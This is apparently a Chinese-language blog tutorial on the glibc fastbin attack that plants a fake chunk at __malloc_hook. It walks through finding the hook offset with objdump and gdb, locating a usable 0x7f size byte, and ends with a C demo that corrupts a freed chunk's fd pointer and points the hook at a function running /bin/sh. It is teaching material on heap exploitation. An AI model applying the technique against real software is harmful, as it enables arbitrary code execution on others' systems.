[heap] __malloc_hook初体验

在Arbitrary Alloc 的学习中，不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk，达到任意写的目的。

参考资料：https://wiki.x10sec.org/pwn/heap/fastbin_attack/

__malloc_hook的作用

__malloc_hook是glibc中的一个函数指针变量，它的原型如下：

/*第一个同malloc的size参数，第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)

可见其实__malloc_hook相当于给malloc函数套了一层外壳，当这个函数指针的值不为NULL时，系统在调用malloc是就会触发这个hook，执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为，捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识，把堆块构造到该处便可以修改hook函数为自定义位置的函数，达到getshell的目的。

类似的还有__free_hook， __realloc_hook 等，原理大同小异

分析构造思路

为了试验方便，首先关闭Linux系统的ASLR功能。

以下部分步骤由于系统差异可能稍有不同，所以只讲大概思路

1. objdump查看系统对应版本glibc中__malloc_hook的偏移量

$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:

得到偏移 0x3c4b10，加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10。

2. gdb调试寻找合适的字节

利用uaf的方法，构造已经释放的fastchunk的fd域，从而在fastbin中伪造出一个chunk，通过malloc便可以修改该chunk内容。那么关键就在于，需要在__malloc_hook附近找到一个合适的字节，能构造成一个在fastbin范围内（64位：0x20 ~ 0x80）且包含了要控制的部分在内的size域。

随便写一个程序（因为要在动态环境下分析glibc的变量），在gdb中查看刚刚算出来的__malloc_hook附近的字节：

0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x60	0x02	0xdd	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1af8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b00 <__memalign_hook>:	0x20	0x2e	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b08 <__realloc_hook>:	0x00	0x2a	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b10 <__malloc_hook>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b20 <main_arena>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

观察发现，在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL，而由计算fastbin_index的宏：

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以知道若用这个字节构造chunk，对应的应该是size为0x70的chunk（此处指整个chunk的大小），于是我们uaf应该在0x70的fastbin上进行。

至此可以得出思路：修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移，修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell

3. 编写一个demo检验一下

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
    system("/bin/sh");
}

int main(void)
{
    void *chunk1;
    void *chunk_a;
    long long * malloc_hook;

    chunk1=malloc(0x60);
    printf("chunk_1 : %p\n",chunk1);
    free(chunk1);
    puts("Create fastbin.");

    /*修改fd域*/
    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    printf("chunk_a : %p\n",chunk_a);

    /*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
    malloc_hook=(long long *)((long long)chunk_a+0x13);
    *malloc_hook=0x400646L;
    printf("__malloc_hook_value : %lld\n",*malloc_hook);
    
    /*再次malloc触发钩子*/
    malloc(60);
    return 0;
}

总结

该篇简单介绍了__malloc_hook的利用方式，其中最关键的是偏移的计算，需要一定的耐心和细心。

谢谢阅读，欢迎评论指正！